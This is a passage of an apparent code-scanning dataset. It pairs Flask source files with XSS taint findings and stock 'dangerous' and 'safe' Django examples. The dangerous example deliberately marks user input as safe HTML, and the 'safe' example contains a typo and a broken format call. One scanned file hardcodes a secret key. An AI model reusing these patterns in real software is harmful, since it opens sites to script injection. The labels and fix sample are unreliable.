`mark_safe()`, convert the data using escape.", "issueLineNumber": 36, "entireCode": "# Copyright 2021 Google LLC\n#\n# Licensed under the Apache License, Version 2.0 (the \"License\");\n# you may not use this file except in compliance with the License.\n# You may obtain a copy of the License at\n#\n#     http://www.apache.org/licenses/LICENSE-2.0\n#\n# Unless required by applicable law or agreed to in writing, software\n# distributed under the License is distributed on an \"AS IS\" BASIS,\n# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n# See the License for the specific language governing permissions and\n# limitations under the License.\n\nfrom datetime import datetime\nfrom flask import Flask, redirect, render_template, request\nfrom google.cloud import datastore\n\ntry:\n    from urllib import urlencode\nexcept Exception:\n    from urllib.parse import urlencode\n\napp = Flask(__name__)\nclient = datastore.Client()\n\n\n@app.route('/', methods=['GET'])\ndef display_guestbook():\n    guestbook_name = request.args.get('guestbook_name', '')\n    print('GET guestbook name is {}'.format(guestbook_name))\n    ancestor_key = client.key('Book', guestbook_name or \"*notitle*\")\n    greetings = client.query(ancestor=ancestor_key).fetch(limit=20)\n\n    greeting_blockquotes = [greeting.get('content', '') for greeting in greetings]\n    return render_template(\n            'index.html',\n            greeting_blockquotes=greeting_blockquotes,\n            guestbook_name=guestbook_name\n        )\n\n\n@app.route('/sign', methods=['POST'])\ndef update_guestbook():\n    # We set the parent key on each 'Greeting' to ensure each guestbook's\n    # greetings are in the same entity group.\n    guestbook_name = request.form.get('guestbook_name', '')\n    print('Guestbook name from the form: {}'.format(guestbook_name))\n\n    print('Guestbook name from the URL: {}'.format(guestbook_name))\n    ancestor_key = client.key('Book', guestbook_name or \"*notitle*\")\n    key = client.key('Greeting', parent=ancestor_key)\n    greeting = datastore.Entity(key=key)\n    greeting['content'] = request.form.get('content', None)\n    greeting['date'] = datetime.utcnow()\n    client.put(greeting)\n\n    return redirect('/?' + urlencode({'guestbook_name': guestbook_name}))\n\n\nif __name__ == '__main__':\n    # This is used when running locally.\n    app.run(host='127.0.0.1', port=8080, debug=True)", "dangerousExampleEn": "1. from django.shortcuts import render\n2. from django.utils.safestring import mark_safe\n3. \n4. def profile_link(request):\n5. \tprofile_url = request.POST.get('profile_url')\n6. \tprofile_name = request.POST.get('profile_name')\n7. \n8.     object_link = '{}'.format(profile_url, profile_name)\n9. \tobject_link = mark_safe(object_link)\n10. \n11.     return render(request, 'my_profile.html',{'object_link':object_link})\nLine 9: The XSS escape of Django is not enabled on the mark_safe function, which can lead to a cross-site script attack.", "safeExampleEn": "1. from django.shortcuts import render\n2. # from django.utils.safestring import mark_safe\n3. \n4. def profile_link(request):\n5. \tprofile_url = request.POST.get('profile_url')\n6. \tprofile_name = requst.POST.get('profile_name')\n7. \n8.     object_link = '{}'.format(profile_url, profile_name)\n9. \t# object_link = mark_safe(object_link)\n10. \n11.     return render(request, 'my_profile.html',{'object_link':object_link})\nLine 9: Don't use the mark_safe function.", "contexts": [{"lineNo": 30, "eventType": "source", "messageKey": "synz.COMMON.taint.source", "params": {"arg0": "request"}}, {"lineNo": 30, "eventType": "source", "messageKey": "synz.COMMON.taint.propagate", "params": {"arg0": "requestflask.request.args"}}, {"lineNo": 30, "eventType": "source", "messageKey": "synz.COMMON.taint.propagate", "params": {"arg0": "get"}}, {"lineNo": 30, "eventType": "source", "messageKey": "synz.COMMON.value.assigned", "params": {}}, {"lineNo": 36, "eventType": "sink", "messageKey": "synz.COMMON.taint.sink", "params": {"arg0": "render_template"}}]}}
{"id": "b5ec175a165a88e291f1edf006849dff247b1492a9b40491a0f2efc6d9414e6e", "license": {"spdx": ["MIT"], "repo": "jsaji/bored-web-app", "path": "app.py", "repo_head_hexsha": "75fb8fa721a9445dda95e2c70005a08c4f6667d5", "stack_hexsha": "32a1be66d9b70396f4d0bd6e007fe41b007c4794", "match": "exact_blob"}, "input": {"fileExtension": ".py", "programmingLanguage": "Python", "issueNameEn": "Cross-Site Scripting (XSS)", "issueDescriptionEn": "Cross-site scripting (XSS) is an attack method that injects malicious code into websites.\nThis attack typically targets application users, and may cause damage by the users to run a malicious code automatically.\nWhen using Django or Flask, the framework itself creates a response page by replacing characters that may be used in an attack with HTML entities to prevent malicious scripts from being injected into external inputs. This protects Django and Flask from XSS.\nHowever, even if the framework provides a function to protect against XSS attacks, please note that the protection may not be completely secure or invalidated by developer mistakes.\nIf any data is used to create dynamic web pages in Flask without using options such as Django's `mark_safe()`, convert the data using escape.", "issueLineNumber": 117, "entireCode": "\"\"\"\napp.py\n- provides the endpoints for consuming and producing\n  the web app\n\"\"\"\n\nimport requests\nfrom flask import Flask, render_template, request, jsonify, session\nfrom models import Activity, User, UserActivity, db\nfrom sqlalchemy import exc\nfrom flask_session import Session\n\n# Intialises the app\nweb_app = Flask(__name__)\nweb_app.config.from_object('config.BaseConfig')\ndb.init_app(web_app)\nSession(web_app)\nBASE_URL = 'https://www.boredapi.com/api/activity'\n\n@web_app.route(\"/\")\ndef index():\n    \"\"\" Home page \"\"\"\n    try:\n        # Sets title and subtitle to be used on the page\n        title = \"Bored?\"\n        subtitle = \"Find things to kill your boredom!\"\n        if session.get('temp_activity_id'):\n            # If there was an activity id in storage, get this specific one\n            # (e.g. finding one, then having to log in will keep the activity first seen)\n            temp_activity_id = session['temp_activity_id']\n            session.pop('temp_activity_id', None)\n            r = requests.get(BASE_URL, params={'key':temp_activity_id})\n        else:\n            # Else get a random activity\n            r = requests.get(BASE_URL)\n        # Maps returned data to the fields of the Activity model we use (for consistency)\n        activity_data = map_activity_model(r.json())\n        activity_data['activity_type'] = activity_data['activity_type'].capitalize()\n        activity_data['accessibility'] = int(round(activity_data['accessibility'] * 10))\n        activity_data['price'] = int(round(activity_data['price'] * 100))\n        # Returns template\n        return render_template(\"index.html\", activity=activity_data, title=title, subtitle=subtitle)\n    except Exception as e:\n        # If an error occurs, returns an error page\n        return error(e.args)\n\n@web_app.route(\"/register\", methods=['GET', 'POST'])\ndef register():\n    \"\"\" Register page for new users \"\"\"\n    error_msgs = []\n    email = ''\n    try:\n        # If GETting the page, return it\n        if request.method == 'GET':\n            return render_template(\"register.html\", title=\"Register\")\n\n        # We're here if it's a POST request\n        # Gets POST form data and checks email and password fields\n        # If there are any issues, return register page with error messages\n        data = request.form\n        if not data.get(\"email\"):\n            error_msgs.append(\"Please enter an email.\")\n        else:\n            email = data['email']\n        if data.get(\"password\"):\n            password = data['password']\n            if len(password) < 6:\n                error_msgs.append(\"Password must have at least 8 characters.\")\n            if not data.get('confirm_password'): \n                error_msgs.append(\"Please confirm password.\")\n            elif data['confirm_password'] != password:\n                error_msgs.append(\"Passwords do not match.\")\n        else:\n            error_msgs.append(\"Please enter a password.\")\n        # If there are no errors, create the user, log them in and return to home page\n        if not len(error_msgs):\n            user = User(email=email, password=password)\n            db.session.add(user)\n            db.session.commit()\n            session['logged_in'] = True\n            session['user_id'] = user.user_id\n            session['email'] = data['email']\n            return index()\n    except exc.SQLAlchemyError as e:\n        # In case of a DB error, roll it back\n        db.session.rollback()\n    except Exception as e:\n        # If an error occurs, returns an error page\n        return error(e.args)\n    # This point is reached if there are issues with email or password\n    return render_template(\"register.html\", title=\"Register\", error_msgs=error_msgs, email=email)\n\n\n@web_app.route(\"/login\", methods=['GET', 'POST'])\ndef login():\n    \"\"\" Login page for existing users \"\"\"\n    try:\n        error_msgs = []\n        # If GETting the page, return it\n        if request.method == 'GET':\n            return render_template(\"login.html\", title=\"Login\")\n\n        # We're here if it's a POST request\n        # Gets POST form data and authenticates email/password combination\n        data = request.form\n        user = User.authenticate(**data)\n\n        # If they're a valid user, store useful information in the session\n        if user:\n            session['logged_in'] = True\n            session['user_id'] = user.user_id\n            session['email'] = data['email']\n            return index()\n        # Return page with error message (and value of email field so it doesn't have to be retyped)\n        error_msgs.append(\"The email or password is incorrect.\")\n        email = data['email'] if data.get('email') else ''\n        return render_template(\"login.html\", email=email, title=\"Login\", error_msgs=error_msgs)\n    except Exception as e:\n        # If an error occurs, returns an error page\n        return error(e.args)\n\n@web_app.route(\"/logout\", methods=['GET'])\ndef logout():\n    try:\n        # Remove any session data that was stored\n        session.pop('logged_in', None)\n        session.pop('email', None)\n        session.pop('user_id', None)\n        session.pop('temp_activity_id', None)\n        return index()\n    except Exception as e:\n        # If an error occurs, returns an error page\n        return error(e.args)\n\n@web_app.route(\"/activity_list\", methods=['GET', 'POST'])\ndef activity_list():\n    \"\"\" Activity list page for users to see the activities they have saved \"\"\"\n    try:\n        if session.get('user_id'):\n            # If user is logged in, get any saved activities they may have\n            title = \"Saved Activities\"\n            subtitle = \"Add more things to your list and complete them\"\n            user_id = session['user_id']\n            results = db.session.query(User, UserActivity, Activity).\\\n                        filter(User.user_id==UserActivity.user_id).\\\n                        filter(UserActivity.activity_id==Activity.activity_id).\\\n                        filter(User.user_id==user_id).\\\n                        all()\n            activities = []\n            user_activities = []\n            # Iterates over the set of tuples returned\n            for u, ua, a in results:\n                user_activities.append(ua.to_dict())\n                activities.append(a.to_dict())\n            # Returns page filled with saved activities\n            return render_template('activity_list.html', activities=activities, user_activities=user_activities, title=title, subtitle=subtitle)\n    except Exception as e:\n        # If an error occurs, returns an error page\n        return error(e.args)\n    # This point is reached if user attempts to reach page but is not logged in\n    return login()\n\n\n@web_app.route(\"/activity_list/add\", methods=['POST'])\ndef add_activity():\n    \"\"\" Add activity to user's list of saved activities \"\"\"\n    try:\n        # Gets form data and checks for activity_id\n        data = request.form\n        if data.get('activity_id'):\n            # If user is logged in, check if they already have saved this activity\n            if session.get('user_id'):\n                user_activity = UserActivity.query.filter_by(activity_id=data['activity_id'], user_id=session['user_id']).first()\n                # If it hasn't already been saved, save it\n                if user_activity is None:\n                    user_activity = UserActivity(activity_id=data['activity_id'], user_id=session['user_id'])\n                    activity = Activity.query.get(data['activity_id'])\n                    # If the relevant activity does not exist in the DB, create it too\n                    if activity is None:\n                        activity = Activity(**data)\n                        db.session.add(activity)\n                        db.session.commit()\n                    db.session.add(user_activity)\n                    db.session.commit()\n            else:\n                # If not logged in, store the id of the current activity and redirect to login\n                session['temp_activity_id'] = data['activity_id']\n                return login()\n    except exc.SQLAlchemyError as e:\n        # In case of a DB error, roll it back\n        db.session.rollback()\n    except Exception as e:\n        # If an error occurs, returns an error page\n        return error(e.args)\n    # Go back to home page\n    return index()\n\n\n@web_app.route(\"/activity_list/remove\", methods=['POST'])\ndef remove_activity():\n    \"\"\" Remove activity from user's list of saved activities \"\"\"\n    try:\n        # Gets form data and checks for user_activity_id\n        data = request.form\n        if data.get('user_activity_id'):\n            # Checks if it exists in the DB and deletes it if it does exist\n            user_activity = UserActivity.query.get(data['user_activity_id'])\n            if user_activity is not None:\n                db.session.delete(user_activity)\n                db.session.commit()\n    except exc.SQLAlchemyError as e:\n        # In case of a DB error, roll it back\n        db.session.rollback()\n    except Exception as e:\n        # If an error occurs, returns an error page\n        return error(e.args)\n    # Go back to activity list page\n    return activity_list()\n\n\n@web_app.route(\"/activity_list/complete\", methods=['POST'])\ndef complete_activity():\n    \"\"\" Complete/uncomplete an activity on user's list of saved activities \"\"\"\n    try:\n        # Gets form data and checks for user_activity_id\n        data = request.form\n        if data.get('user_activity_id'):\n            user_activity = UserActivity.query.get(data['user_activity_id'])\n            # Checks if it exists in the DB, and inverts the is_completed flag\n            if user_activity is not None:\n                user_activity.is_completed = not user_activity.is_completed\n                db.session.commit()\n    except exc.SQLAlchemyError as e:\n        # In case of a DB error, roll it back\n        db.session.rollback()\n    except Exception as e:\n        # If an error occurs, returns an error page\n        return error(e.args)\n    # Go back to activity list page\n    return activity_list()\n\ndef error(error_msg):\n    \"\"\" Returns an error page \"\"\"\n    return render_template('error.html', error=error_msg, title=\"ERROR\")\n\ndef map_activity_model(raw_activity):\n    \"\"\" Maps request data to the fields defined for the Activity model \"\"\"\n    return {\n        'activity_id': raw_activity['key'],\n        'description': raw_activity['activity'],\n        'activity_type':  raw_activity['type'],\n        'participants':  raw_activity['participants'],\n        'accessibility':  raw_activity['accessibility'],\n        'price':  raw_activity['price'],\n        'link': raw_activity['link']\n    }\n\nif __name__ == '__main__':\n    web_app.run()", "dangerousExampleEn": "1. from django.shortcuts import render\n2. from django.utils.safestring import mark_safe\n3. \n4. def profile_link(request):\n5. \tprofile_url = request.POST.get('profile_url')\n6. \tprofile_name = request.POST.get('profile_name')\n7. \n8.     object_link = '{}'.format(profile_url, profile_name)\n9. \tobject_link = mark_safe(object_link)\n10. \n11.     return render(request, 'my_profile.html',{'object_link':object_link})\nLine 9: The XSS escape of Django is not enabled on the mark_safe function, which can lead to a cross-site script attack.", "safeExampleEn": "1. from django.shortcuts import render\n2. # from django.utils.safestring import mark_safe\n3. \n4. def profile_link(request):\n5. \tprofile_url = request.POST.get('profile_url')\n6. \tprofile_name = requst.POST.get('profile_name')\n7. \n8.     object_link = '{}'.format(profile_url, profile_name)\n9. \t# object_link = mark_safe(object_link)\n10. \n11.     return render(request, 'my_profile.html',{'object_link':object_link})\nLine 9: Don't use the mark_safe function.", "contexts": [{"lineNo": 105, "eventType": "source", "messageKey": "synz.COMMON.taint.source", "params": {"arg0": "request"}}, {"lineNo": 105, "eventType": "source", "messageKey": "synz.COMMON.taint.propagate", "params": {"arg0": "requestflask.request.form"}}, {"lineNo": 105, "eventType": "source", "messageKey": "synz.COMMON.value.assigned", "params": {}}, {"lineNo": 116, "eventType": "source", "messageKey": "synz.COMMON.taint.propagate", "params": {"arg0": "datalogin.data[\"email\"]"}}, {"lineNo": 116, "eventType": "source", "messageKey": "synz.COMMON.value.assigned", "params": {}}, {"lineNo": 117, "eventType": "sink", "messageKey": "synz.COMMON.taint.sink", "params": {"arg0": "render_template"}}]}}
{"id": "641d5ceb1c19bb7cf16ac05f61ae96afe1f26078d6980f9b7fb468cc1b3062e0", "license": {"spdx": ["MIT"], "repo": "KonstantinVasilkov/parser_test_case", "path": "reestr_nostroy/user_interface/main.py", "repo_head_hexsha": "2f733cca6860f2f026c0c8fada19f3952088e5a1", "stack_hexsha": "3e280cba13fff905f977829a39623993e03e1d24", "match": "exact_blob"}, "input": {"fileExtension": ".py", "programmingLanguage": "Python", "issueNameEn": "Cross-Site Scripting (XSS)", "issueDescriptionEn": "Cross-site scripting (XSS) is an attack method that injects malicious code into websites.\nThis attack typically targets application users, and may cause damage by the users to run a malicious code automatically.\nWhen using Django or Flask, the framework itself creates a response page by replacing characters that may be used in an attack with HTML entities to prevent malicious scripts from being injected into external inputs. This protects Django and Flask from XSS.\nHowever, even if the framework provides a function to protect against XSS attacks, please note that the protection may not be completely secure or invalidated by developer mistakes.\nIf any data is used to create dynamic web pages in Flask without using options such as Django's `mark_safe()`, convert the data using escape.", "issueLineNumber": 105, "entireCode": "import os\nfrom datetime import datetime\n\nfrom flask import Flask, redirect, render_template, request, url_for\nfrom flask_sqlalchemy import SQLAlchemy\nfrom forms import CompanyMainInfoForm\n\nBASE_DIR = os.path.dirname(os.path.dirname(os.path.abspath(__file__)))\nDB_PATH = os.path.join(os.path.join(BASE_DIR, 'output'), 'reestr_nostroy.db')\nCONNECTION_STRING = f'sqlite:///{DB_PATH}'\n\napp = Flask(__name__)\napp.config['SQLALCHEMY_DATABASE_URI'] = CONNECTION_STRING\napp.config['SQLALCHEMY_TRACK_MODIFICATIONS'] = False\napp.config['CSRF_ENABLED'] = True\napp.config['SECRET_KEY'] = 'My_Super_puper_secret_string'\n\ndb = SQLAlchemy(app)\ndb.Model.metadata.reflect(db.engine)\n\n\nclass Reestr(db.Model):\n    __table__ = db.Model.metadata.tables['reestr']\n\n    def __init__(self, company_inn, sro_reg_number, sro_status,\n                 comments, company_short_name):\n        self.company_inn = company_inn\n        self.sro_reg_number = sro_reg_number\n        self.sro_status = sro_status\n        self.comments = comments\n        self.company_short_name = company_short_name\n\n\nclass RegistrationDates(db.Model):\n    __table__ = db.Model.metadata.tables['registration_dates']\n\n    def __init__(self, sro_start_date, sro_end_date):\n        self.sro_start_date = sro_start_date\n        self.sro_end_date = sro_end_date\n\n\nclass Rights(db.Model):\n    __table__ = db.Model.metadata.tables['rights']\n\n\nclass Certificates(db.Model):\n    __table__ = db.Model.metadata.tables['certificates']\n\n\ndef get_full_card(uid):\n    full_card = Reestr.query.join(\n        RegistrationDates).join(Rights).join(Certificates).add_columns(\n        Reestr.uid,\n        Reestr.short_name_of_sro_member,\n        Reestr.full_name_of_sro_member,\n        Reestr.inn,\n        Reestr.ogrn,\n        Reestr.status,\n        Reestr.comments,\n        Reestr.organization_type,\n        Reestr.sro_registration_number,\n        RegistrationDates.start_date,\n        RegistrationDates.end_date,\n        Certificates.certificate_number,\n        Certificates.certificate_issued_date,\n        Certificates.max_price_per_one_contract,\n        Certificates.certificate_status).filter_by(uid=uid).all()\n    return full_card\n\n\ndef get_main_info(uid):\n    main_info_card = Reestr.query.join(\n        RegistrationDates).add_columns(\n        Reestr.uid,\n        Reestr.short_name_of_sro_member,\n        Reestr.inn,\n        Reestr.ogrn,\n        Reestr.status,\n        Reestr.comments,\n        Reestr.organization_type,\n        Reestr.sro_registration_number,\n        RegistrationDates.start_date,\n        RegistrationDates.end_date, ).filter_by(uid=uid).all()\n    return main_info_card\n\n\n@app.template_filter('dt')\ndef _jinja2_filter_datetime(date, frm='%d-%m-%Y'):\n    return date.strftime(frm)\n\n\n@app.route('/about')\ndef about():\n    return render_template('about.html')\n\n\n@app.route('/', methods=['GET', 'POST'])\n@app.route('/', methods=['GET', 'POST'])\ndef index(page=1):\n    if request.method == \"POST\":\n        inn = request.form.get('inn')\n        organizations = Reestr.query.filter_by(\n            inn=inn).paginate(page, 10, False)\n\n        return render_template('index.html', organizations=organizations)\n\n    organizations = Reestr.query.paginate(page, 10, False)\n    return render_template('index.html', organizations=organizations)\n\n\n@app.route('/details/')\ndef details(uid):\n    full_card_of_organization = get_full_card(uid)\n    return render_template('organization_detail.html',\n                           card=full_card_of_organization)\n\n\n@app.route('/modify/', methods=['POST', 'GET'])\ndef modify_main_info(uid):\n    def convert_date(text):\n        if text:\n            text = text.strip()\n            return datetime.strptime(text, '%Y-%m-%d')\n        return None\n\n    if request.method == 'GET':\n        main_info_card = get_main_info(uid)\n        form = CompanyMainInfoForm()\n        form.company_short_name.data = main_info_card[\n            0].short_name_of_sro_member\n        form.company_inn.data = main_info_card[0].inn\n        form.sro_reg_number.data = main_info_card[0].sro_registration_number\n        form.sro_start_date.data = main_info_card[0].start_date\n        form.sro_end_date.data = main_info_card[0].end_date\n        form.sro_status.data = main_info_card[0].status\n        form.comments.data = main_info_card[0].comments\n        return render_template('edit_main_info.html',\n                               card=main_info_card,\n                               form=form)\n    if request.method == 'POST':\n        main_info_card = get_main_info(uid)\n        reestr = Reestr.query.filter_by(uid=uid).all()\n        reestr[0].short_name_of_sro_member = request.form.get(\n            'company_short_name')\n        reestr[0].inn = request.form.get('company_inn')\n        reestr[0].sro_registration_number = request.form.get('sro_reg_number')\n        reestr[0].status = request.form.get('sro_status')\n        reestr[0].comments = request.form.get('comments')\n\n        registration_dates = RegistrationDates.query.filter_by(uid=uid).all()\n        registration_dates[0].start_date = convert_date(\n            request.form.get('sro_start_date')\n        )\n        registration_dates[0].end_date = convert_date(\n            request.form.get('sro_end_date')\n        )\n\n        form = CompanyMainInfoForm()\n        if form.validate_on_submit():\n            db.session.commit()\n            return redirect(url_for('details', uid=uid))\n        return render_template('edit_main_info.html',\n                               card=main_info_card,\n                               form=form)\n\n\n@app.route('/delete/', methods=['POST'])\ndef delete(uid):\n    if request.method == 'POST':\n        company_record = Reestr.query.filter(Reestr.uid == uid).first()\n        db.session.delete(company_record)\n        db.session.commit()\n    organizations = Reestr.query.paginate(1, 10, False)\n    return redirect(url_for('index'))\n\n\nif __name__ == '__main__':\n    app.run(debug=True)", "dangerousExampleEn": "1. from django.shortcuts import render\n2. from django.utils.safestring import mark_safe\n3. \n4. def profile_link(request):\n5. \tprofile_url = request.POST.get('profile_url')\n6. \tprofile_name = request.POST.get('profile_name')\n7. \n8.     object_link = '{}'.format(profile_url, profile_name)\n9. \tobject_link = mark_safe(object_link)\n10. \n11.     return render(request, 'my_profile.html',{'object_link':object_link})\nLine 9: The XSS escape of Django is not enabled on the mark_safe function, which can lead to a cross-site script attack.", "safeExampleEn": "1. from django.shortcuts import render\n2. # from django.utils.safestring import mark_safe\n3. \n4. def profile_link(request):\n5. \tprofile_url = request.POST.get('profile_url')\n6. \tprofile_name = requst.POST.get('profile_name')\n7. \n8.     object_link = '{}'.format(profile_url, profile_name)\n9. \t# object_link = mark_safe(object_link)\n10. \n11.     return render(request, 'my_profile.html',{'object_link':object_link})\nLine 9: Don't use the mark_safe function.", "contexts": [{"lineNo": 100, "eventType": "source", "messageKey": "synz.COMMON.branch.true.assumed", "params": {"arg0": "100"}}, {"lineNo": 101, "eventType": "source", "messageKey": "synz.COMMON.taint.source", "params": {"arg0": "request"}}, {"lineNo": 101, "eventType": "source", "messageKey": "synz.COMMON.taint.propagate", "params": {"arg0": "requestflask.request.form"}}, {"lineNo": 101, "eventType": "source", "messageKey": "synz.COMMON.taint.propagate", "params": {"arg0": "get"}}, {"lineNo": 102, "eventType": "source", "messageKey": "synz.COMMON.taint.propagate", "params": {"arg0": "filter_by"}}, {"lineNo": 102, "eventType": "source", "messageKey": "synz.COMMON.taint.propagate", "params": {"arg0": "paginate"}}, {"lineNo": 102, "eventType": "source", "messageKey": "synz.COMMON.value.assigned", "params": {}}, {"lineNo": 105, "eventType": "sink", "messageKey": "synz.COMMON.taint.sink", "params": {"arg0": "render_template"}}]}}
{"id": "6938ba7f352720fbae2ec807156b6546c944254dafba2f88a308f2b8e608d9a2", "license": {"spdx": ["MIT"], "repo": "Nenivar/spotify-emotion-tracker", "path": "spotify-emotion-tracker/__init__.py", "repo_head_hexsha": "2050b48267d9c382f183e1f5697dbcb85c0c0697", "stack_hexsha": "f2b8b0cba9f83bfaf42f13461a1f8acb0014564d", "match": "exact_blob"}, "input": {"fileExtension": ".py", "programmingLanguage": "Python", "issueNameEn": "Cross-Site Scripting (XSS)", "issueDescriptionEn": "Cross-site scripting (XSS) is an attack method that injects malicious code into websites.\nThis attack typically targets application users, and may cause damage by the users to run a malicious code automatically.\nWhen using Django or Flask, the framework itself creates a response page by replacing characters that may be used in an attack with HTML entities to prevent malicious scripts from being injected into external inputs. This protects Django and Flask from XSS.\nHowever, even if the framework provides a function to protect against XSS attacks, please note that the protection may not be completely secure or invalidated by developer mistakes.\nIf any data is used to create dynamic web pages in Flask without using options such as Django's `mark_safe()`, convert the data using escape.", "issueLineNumber": 18, "entireCode": "from flask import Flask, request, redirect, url_for, render_template\nimport requests\nimport json\nfrom .spotify import get_token, authorize, get_audio_features, get_user, get_user_playlists\nfrom .analysis import analyse_playlist, group_by_day\n\n\ndef create_app(test_config=None):\n    app = Flask(__name__)\n\n    @app.route('/')\n    def index():\n        token = request.args.get('token')\n        if token:\n            # we have a token\n            user_id = get_user(token).json().get('id')\n            playlists = get_user_playlists(token, user_id).json().get('items')\n            return render_template('index.html', playlists=json.dumps(playlists))\n        else:\n            # get a token\n            return redirect(url_for('authorization'))\n\n    @app.route('/analyse')\n    def analyse():\n        token = request.args.get('token')\n        id = request.args.get('id')\n\n        if token:\n            r = analyse_playlist(token, id)\n\n            # remove time from date\n            dates = [x[:10] for x in r[0]]\n            dates, valences = group_by_day(dates, r[1])\n\n            return render_template('analyse.html', labels=json.dumps(dates), data=valences)\n        else:\n            return redirect(url_for('authorization'))\n\n    @app.route('/authorization')\n    def authorization():\n        return redirect(authorize())\n\n    @app.route('/token')\n    def token():\n        code = request.args.get('code')\n        if code:\n            token = get_token(code)\n        else:\n            return redirect(url_for('authorization'))\n        return redirect(url_for('index', token=token))\n\n    return app", "dangerousExampleEn": "1. from django.shortcuts import render\n2. from django.utils.safestring import mark_safe\n3. \n4. def profile_link(request):\n5. \tprofile_url = request.POST.get('profile_url')\n6. \tprofile_name = request.POST.get('profile_name')\n7. \n8.     object_link = '{}'.format(profile_url, profile_name)\n9. \tobject_link = mark_safe(object_link)\n10. \n11.     return render(request, 'my_profile.html',{'object_link':object_link})\nLine 9: The XSS escape of Django is not enabled on the mark_safe function, which can lead to a cross-site script attack.", "safeExampleEn": "1. from django.shortcuts import render\n2. # from django.utils.safestring import mark_safe\n3. \n4. def profile_link(request):\n5. \tprofile_url = request.POST.get('profile_url')\n6. \tprofile_name = requst.POST.get('profile_name')\n7. \n8.     object_link = '{}'.format(profile_url, profile_name)\n9. \t# object_link = mark_safe(object_link)\n10. \n11.     return render(request, 'my_profile.html',{'object_link':object_link})\nLine 9: Don't use the mark_safe function.", "contexts": [{"lineNo": 13, "eventType": "source", "messageKey": "synz.COMMON.taint.source", "params": {"arg0": "request"}}, {"lineNo": 13, "eventType": "source", "messageKey": "synz.COMMON.taint.propagate", "params": {"arg0": "requestflask.request.args"}}, {"lineNo": 13, "eventType": "source", "messageKey": "synz.COMMON.taint.propagate", "params": {"arg0": "get"}}, {"lineNo": 14, "eventType": "source", "messageKey": "synz.COMMON.branch.true.assumed", "params": {"arg0": "15"}}, {"lineNo": 16, "eventType": "source", "messageKey": "synz.COMMON.taint.propagate", "params": {"arg0": "get_user"}}, {"lineNo": 16, "eventType": "source", "messageKey": "synz.COMMON.taint.propagate", "params": {"arg0": "json"}}, {"lineNo": 16, "eventType": "source", "messageKey": "synz.COMMON.taint.propagate", "params": {"arg0": "get"}}, {"lineNo": 17, "eventType": "source", "messageKey": "synz.COMMON.taint.propagate", "params": {"arg0": "get_user_playlists"}}, {"lineNo": 17, "eventType": "source", "messageKey": "synz.COMMON.taint.propagate", "params": {"arg0": "json"}}, {"lineNo": 17, "eventType": "source", "messageKey": "synz.COMMON.taint.propagate", "params": {"arg0": "get"}}, {"lineNo": 18, "eventType": "source", "messageKey": "synz.COMMON.taint.propagate", "params": {"arg0": "json.dumps"}}, {"lineNo": 18, "eventType": "sink", "messageKey": "synz.COMMON.taint.sink", "params": {"arg0": "render_template"}}]}}
{"id": "92979ebfd0b207c8a8b05c64fc9c155a60874c1ee3b80bcaa5d55eb0a97aa673", "license": {"spdx": ["MIT"], "repo": "cs50sacramento/source-code-16-17", "path": "chapter6/flask/tweetsite/application.py", "repo_head_hexsha": "8e8276de39ba3106b67549108f6ee4cf71836025", "stack_hexsha": "be2c0e676c4390903f7bccb1303c0030c9c2235a", "match": "exact_blob"}, "input": {"fileExtension": ".py", "programmingLanguage": "Python", "issueNameEn": "Cross-Site Scripting (XSS)", "issueDescriptionEn": "Cross-site scripting (XSS) is an attack method that injects malicious code into websites.\nThis attack typically targets application users, and may cause damage by the users to run a malicious code automatically.\nWhen using Django or Flask, the framework itself creates a response page by replacing characters that may be used in an attack with HTML entities to prevent malicious scripts from being injected into external inputs. This protects Django and Flask from XSS.\nHowever, even if the framework provides a function to protect against XSS attacks, please note that the protection may not be completely secure or invalidated by developer mistakes.\nIf any data is used to create dynamic web pages in Flask without using options such as Django's `mark_safe()`, convert the data using escape.", "issueLineNumber": 33, "entireCode": "from flask import Flask, redirect, render_template, request, url_for\n\nimport os\nimport sys\nfrom helpers import *\nfrom twython import Twython\nfrom auth import (\n    consumer_key,\n    consumer_secret,\n    access_token,\n    access_token_secret\n)\n\ntwitter = Twython(\n    consumer_key,\n    consumer_secret,\n    access_token,\n    access_token_secret\n)\n\napp = Flask(__name__)\n\n@app.route(\"/\", methods=[\"GET\", \"POST\"])\n@app.route(\"/index\", methods=[\"GET\", \"POST\"])\ndef index():\n    if request.method == \"GET\":\n        return render_template(\"index.html\")\n    else:\n        tweet = request.form.get(\"tweet\")\n        if len(tweet) > 140:\n            return apology(\"Tweet too long!\")\n        twitter.update_status(status=tweet)\n        return render_template(\"tweeted.html\", tweet=tweet)", "dangerousExampleEn": "1. from django.shortcuts import render\n2. from django.utils.safestring import mark_safe\n3. \n4. def profile_link(request):\n5. \tprofile_url = request.POST.get('profile_url')\n6. \tprofile_name = request.POST.get('profile_name')\n7. \n8.     object_link = '{}'.format(profile_url, profile_name)\n9. \tobject_link = mark_safe(object_link)\n10. \n11.     return render(request, 'my_profile.html',{'object_link':object_link})\nLine 9: The XSS escape of Django is not enabled on the mark_safe function, which can lead to a cross-site script attack.", "safeExampleEn": "1. from django.shortcuts import render\n2. # from django.utils.safestring import mark_safe\n3. \n4. def profile_link(request):\n5. \tprofile_url = request.POST.get('profile_url')\n6. \tprofile_name = requst.POST.get('profile_name')\n7. \n8.     object_link = '{}'.format(profile_url, profile_name)\n9. \t# object_link = mark_safe(object_link)\n10. \n11.     return render(request, 'my_profile.html',{'object_link':object_link})\nLine 9: Don't use the mark_safe function.", "contexts": [{"lineNo": 28, "eventType": "source", "messageKey": "synz.COMMON.branch.false.assumed", "params": {"arg0": "28"}}, {"lineNo": 29, "eventType": "source", "messageKey": "synz.COMMON.taint.source", "params": {"arg0": "request"}}, {"lineNo": 29, "eventType": "source", "messageKey": "synz.COMMON.taint.propagate", "params": {"arg0": "requestflask.request.form"}}, {"lineNo": 29, "eventType": "source", "messageKey": "synz.COMMON.taint.propagate", "params": {"arg0": "get"}}, {"lineNo": 29, "eventType": "source", "messageKey": "synz.COMMON.value.assigned", "params": {}}, {"lineNo": 33, "eventType": "sink", "messageKey": "synz.COMMON.taint.sink", "params": {"arg0": "render_template"}}]}}
